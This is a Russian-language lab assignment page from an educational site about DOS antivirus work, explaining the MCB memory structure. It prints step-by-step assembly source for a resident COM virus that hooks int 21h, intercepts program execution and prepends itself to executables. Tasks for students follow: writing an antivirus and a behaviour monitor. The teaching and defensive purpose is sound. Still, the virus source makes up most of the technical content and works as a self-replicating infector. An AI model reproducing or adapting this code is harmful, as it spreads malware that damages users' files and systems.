Студопедия — Структура MCB – блока управления памятью.
Студопедия Главная Случайная страница Обратная связь

Разделы: Автомобили Астрономия Биология География Дом и сад Другие языки Другое Информатика История Культура Литература Логика Математика Медицина Металлургия Механика Образование Охрана труда Педагогика Политика Право Психология Религия Риторика Социология Спорт Строительство Технология Туризм Физика Философия Финансы Химия Черчение Экология Экономика Электроника

Структура MCB – блока управления памятью.






off Sz Description
00h   Признак последнего блока. Z – последний. M – есть еще блоки.
01h   Адрес ассоциированного PSP. (для самой MS_DOS = 0008h)
03h   Размер блока памяти в параграфах, не считая самого MCB.
05h   Не используется
08h   Имя блока, обычно имя программы.

Далее приведен исходный код резидентного COM вируса, который заражает файлы внедрением в начало.

1. Выделяем память, копируем туда себя и запускаемся там с метки next

mov ah,4Ah  
mov bx,0FFFFh  
int 21h  
sub bx,(vir_size+15)/16+1  
mov ah,4Ah  
int 21h  
mov ah,48h  
mov bx,(vir_size+15)/16  
int 21h  
push ax  
mov es,ax  
xor di,di  
mov si,100h  
mov cx,vir_size  
rep movsb  
mov ax,offset next-100h  
push ax  
retf  

2. Проверяем установлен ли наш вирус в памяти - вызываем int 21h с ax=0FFFFh, если уже установлен прыгаем на выход.

next:  
mov ax,0FFFFh  
int 21h  
test ax,ax  
jz exit  

3. Устанавливаем наш обработчик прерывания int 21h.

set_int:  
push cs  
pop ds  
mov ax,3521h  
int 21h  
mov [Old_Int21_Off-100h],bx  
mov [Old_Int21_Seg-100h],es  
mov ah,25h  
lea dx,New_Int21  
int 21h  

4. Восстанавливаем значения всех сегментных регистров.

exit:  
push ss  
push ss  
pop ds  
pop es  

5. Восстанавливаем в памяти носитель, поднимаем его к PSP и передаем ему управление.

mov si,offset old_file  
mov di,100h  
mov cx,file_size  
rep movsb  
push ss  
push 100h  
retf  

 

Далее идет резидентная часть, этапы функционирования которой имеют свою нумерацию и расположены не по порядку исполнения. Выполнение начинается с пункта 1 – метка New_Int21.

 

11. Закрываем файл и восстанавливаем регистры.

close_file:  
mov ah,3eh  
Pushf  
call to_int21-100h  
restore:  
pop es  
pop ds  
popa  
     

12. Прыжок на оригинальный обработчик int 21h.

to_int21:  
Jump_Old_Int21 db 0eah  
Old_Int21_Off dw 0  
Old_Int21_Seg dw 0  

1. Проверяем это запрос на зараженность памяти от другой копии вируса (ax=0FFFFh) или нет. Если да, то увеличиваем ax на 1 (становится ax=0) и возвращаемся из прерывания.

New_Int21:  
cmp ax,0FFFFh  
jnz Check_4b  
inc ax  
iret  

2. Проверяем вызывается подфункция запуска программы (4B00h), если нет – передаем управление оригинальному обработчику. Если да, сохраняем регистры.

Check_4b:  
cmp ax,04b00h  
jnz to_int21  
pusha  
push ds  
push es  

3. Открываем файл, это исполняемый файл и его имя уже в ds:dx.

mov ax,3d02h  
pushf  
call to_int21-100h  
jc close_file  
xchg ax,bx  

4. В области видеопамяти (0A000h) строим зараженную программу, для этого копируем в начало области тело вируса.

push cs  
pop ds  
mov ax,0a000h  
mov es,ax  
xor si,si  
xor di,di  
mov cx,vir_size  
rep movsb  

5. Читаем после тела вируса тело жертвы из файла.

mov ds,ax  
mov ah,3fh  
mov cx,0ffffh  
mov dx,di  
pushf  
call to_int21-100h  

6. Проверяем максимальный размер.

mov file_size-100h,ax  
cmp ax,0fd00h  
ja close_file  

7. Проверяем начало жертвы на нашу сигнатуру – метку заражения.

mov ax,word ptr [di]  
cmp ax,0580Eh  
jz close_file  

8. Проверяем не EXE ли это.

xor al,ah  
cmp al,17h  
jz close_file  

9. Перемещаем указатель в начало жертвы.

mov ax,4200h  
xor cx,cx  
xor dx,dx  
pushf  
call to_int21-100h  

10. Пишем зараженную программу в файл и прыгаем на следующий этап.

mov ah,40h  
xor dx,dx  
mov cx,file_size-100h  
add cx,di  
pushf  
call to_int21-100h  
jmp close_file  

13. Область данных вируса и моделируемый носитель, состоящий из одной команды ret.

File_Size dw 1  
vir_size=$-start  
old_file: ret  
end start  

Порядок выполнения работы

 

1. Набрать, скомпилировать и исследовать работу простейшего антивируса из примера.

2. Изменить его под свой вирус, сделать сигнатуру - 16 байт.

3. Добавить интерфейс с выводом сообщения о том, что файл заражен, его имя и запросом на лечение, с вариантом действий: да / нет.

4. Набрать пример резидентного COM вируса и исследовать его работу в отладчике.

5. Создать резидентный монитор, который будет блокировать действия программ, которые считывают 4 байта и затем переводят указатель чтения/записи в конец файла.

 

 

Содержание отчета по выполненной работе

 

Отчет должен содержать номер и наименование лабораторной работы, данные о студентах, ее выполнивших, исходные тексты разработанных программ и исполняемые файлы с ними в электронном виде и выводы по результатам проделанной работы.

 

 

Контрольные вопросы

1. Какие виды антивирусов бывают.

2. Какие методы используют антивирусы.

3. Какие функции работают с файлами.

4. Каким образом обеспечивается резидентность.

5. Объясните работу предложенного фрагмента из лабораторной.

 







Дата добавления: 2015-10-19; просмотров: 524. Нарушение авторских прав; Мы поможем в написании вашей работы!



Расчетные и графические задания Равновесный объем - это объем, определяемый равенством спроса и предложения...

Кардиналистский и ординалистский подходы Кардиналистский (количественный подход) к анализу полезности основан на представлении о возможности измерения различных благ в условных единицах полезности...

Обзор компонентов Multisim Компоненты – это основа любой схемы, это все элементы, из которых она состоит. Multisim оперирует с двумя категориями...

Композиция из абстрактных геометрических фигур Данная композиция состоит из линий, штриховки, абстрактных геометрических форм...

Оценка качества Анализ документации. Имеющийся рецепт, паспорт письменного контроля и номер лекарственной формы соответствуют друг другу. Ингредиенты совместимы, расчеты сделаны верно, паспорт письменного контроля выписан верно. Правильность упаковки и оформления....

БИОХИМИЯ ТКАНЕЙ ЗУБА В составе зуба выделяют минерализованные и неминерализованные ткани...

Типология суицида. Феномен суицида (самоубийство или попытка самоубийства) чаще всего связывается с представлением о психологическом кризисе личности...

Разновидности сальников для насосов и правильный уход за ними   Сальники, используемые в насосном оборудовании, служат для герметизации пространства образованного кожухом и рабочим валом, выходящим через корпус наружу...

Дренирование желчных протоков Показаниями к дренированию желчных протоков являются декомпрессия на фоне внутрипротоковой гипертензии, интраоперационная холангиография, контроль за динамикой восстановления пассажа желчи в 12-перстную кишку...

Деятельность сестер милосердия общин Красного Креста ярко проявилась в период Тритоны – интервалы, в которых содержится три тона. К тритонам относятся увеличенная кварта (ув.4) и уменьшенная квинта (ум.5). Их можно построить на ступенях натурального и гармонического мажора и минора.  ...

Studopedia.info - Студопедия - 2014-2024 год . (0.007 сек.) русская версия | украинская версия